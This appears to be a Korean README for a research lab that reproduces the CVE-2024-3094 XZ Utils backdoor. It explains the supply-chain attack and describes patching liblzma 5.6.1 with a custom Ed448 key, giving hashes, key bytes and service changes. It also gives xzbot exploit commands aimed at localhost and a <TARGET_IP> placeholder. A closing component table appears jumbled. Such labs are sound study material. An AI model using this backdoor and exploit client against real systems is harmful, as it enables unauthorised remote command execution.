
CVE-2024-3094 - XZ Utils 백도어
교육 및 승인된 보안 연구 목적으로만 사용하십시오.
CVE-2024-3094는 XZ 유틸리티(liblzma) 5.6.0 및 5.6.1 버전에 삽입된 백도어로, 2024년 3월 29일 보안 연구원 Andres Freund에 의해 발견되었습니다. CVSS 점수는 **10.0(치명적)**으로 평가되었습니다.
이는 "Jia Tan"(JiaT75)으로 알려진 위협 행위자가 2년 이상에 걸쳐 수행한 공급망 공격으로, 프로젝트 내에서 신뢰를 쌓아 공동 관리자 지위를 얻은 뒤 배포 tarball에 백도어를 직접 삽입했습니다.
백도어는 다음과 같이 작동합니다:
liblzma.so는 glibc의 IFUNC 메커니즘을 통해 OpenSSH의 RSA_public_decrypt() 함수를 후킹하여 SSH 인증 프로세스를 가로챕니다.system()을 통해 내장된 명령을 실행합니다.이 실습은 원래 공격자의 키(공개된 적 없음) 대신 사용자 지정 Ed448 키를 사용하여 백도어 메커니즘을 재현합니다.
실제 영향받은 시스템에는 chroot가 없었습니다. 백도어는 시스템의 sshd에서 직접 작동했으며, sshd는 다른 공유 라이브러리와 마찬가지로 악성 liblzma.so를 로드했습니다. 이는 시스템과 관리자에게 완전히 투명했습니다.
이 실습에서 chroot를 사용하는 것은 순전히 실용적인 이유 때문입니다. 호스트 시스템의 라이브러리를 교체하지 않고 특정 버전의 liblzma.so를 사용하는 sshd를 실행해야 하기 때문입니다. 이는 연구 환경을 위한 설계 결정이며, 프로덕션 환경에서 백도어가 작동한 방식을 반영한 것이 아닙니다.
| 구성 요소 | 설명 |
|---|---|
env_fs/ | chroot로 사용되는 최소 Ubuntu 22.04 파일시스템 |
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 |
원래 백도어는 실습 환경에 자동으로 존재하지 않는 매우 특정한 조건을 요구합니다. 다음과 같은 수정이 필요했습니다:
MagpieRYL의 원래 저장소에 포함된 liblzma.so.5는 포함된 xzbot 바이너리와 일치하지 않는 알 수 없는 Ed448 키를 사용합니다. 원본 정품 liblzma.so.5.6.1을 Debian snapshot에서 다운로드(sha256 검증)하고 amlweems/xzbot의 patch.py를 사용하여 seed=0으로 패치했습니다:
original sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset: 0x24470
원래 공격자의 Ed448 공개 키를 다음으로 교체했습니다:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
원래 서비스는 Type=notify를 사용하며, sshd가 systemd에 시작 알림을 보내야 합니다. chroot 내부의 sshd는 이를 보내지 않아 시간 초과가 발생합니다. Type=simple로 변경했습니다.
sshd는 권한 분리를 위해 /run/sshd가 필요합니다. 이 디렉터리는 chroot에 존재하지 않으며 run/이 tmpfs이므로 재부팅할 때마다 지워집니다. 서비스가 시작될 때마다 자동으로 다시 생성하는 ExecStartPre로 해결했습니다.
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
명령은 chroot 내부에서 실행되므로 백도어 컨텍스트에서 /tmp/ 아래에 생성된 모든 파일은 다음 위치에 저장됩니다:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
즉, 명령이 echo pwned > /tmp/result인 경우 파일은 다음 위치에서 찾을 수 있습니다:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
익스플로잇으로 생성된 파일을 찾으려면:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
ssh: handshake failed: EOF 메시지는 예상되고 정상적인 동작입니다. 백도어는 명령을 실행하고 SSH 세션을 수립하지 않은 채 연결을 닫습니다. 이는 실패를 의미하지 않습니다.
이 실습은 사용자 지정 암호화 키 쌍(seed=0)을 사용합니다. 패치된 liblzma.so는 이 환경에서 컴파일된 xzbot이 사용하는 해당 개인 키로 서명된 페이로드만 허용합니다. 다른 클라이언트는 실행 없이 EOF를 받게 됩니다.
이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
| 사용자 지정 Ed448 키로 패치된 liblzma 5.6.1 |
/etc/systemd/system/xzback.service | 포트 2024에서 취약한 sshd를 실행하는 systemd 서비스 |
/xzbot/xzbot | 소스에서 컴파일된 익스플로잇 클라이언트 |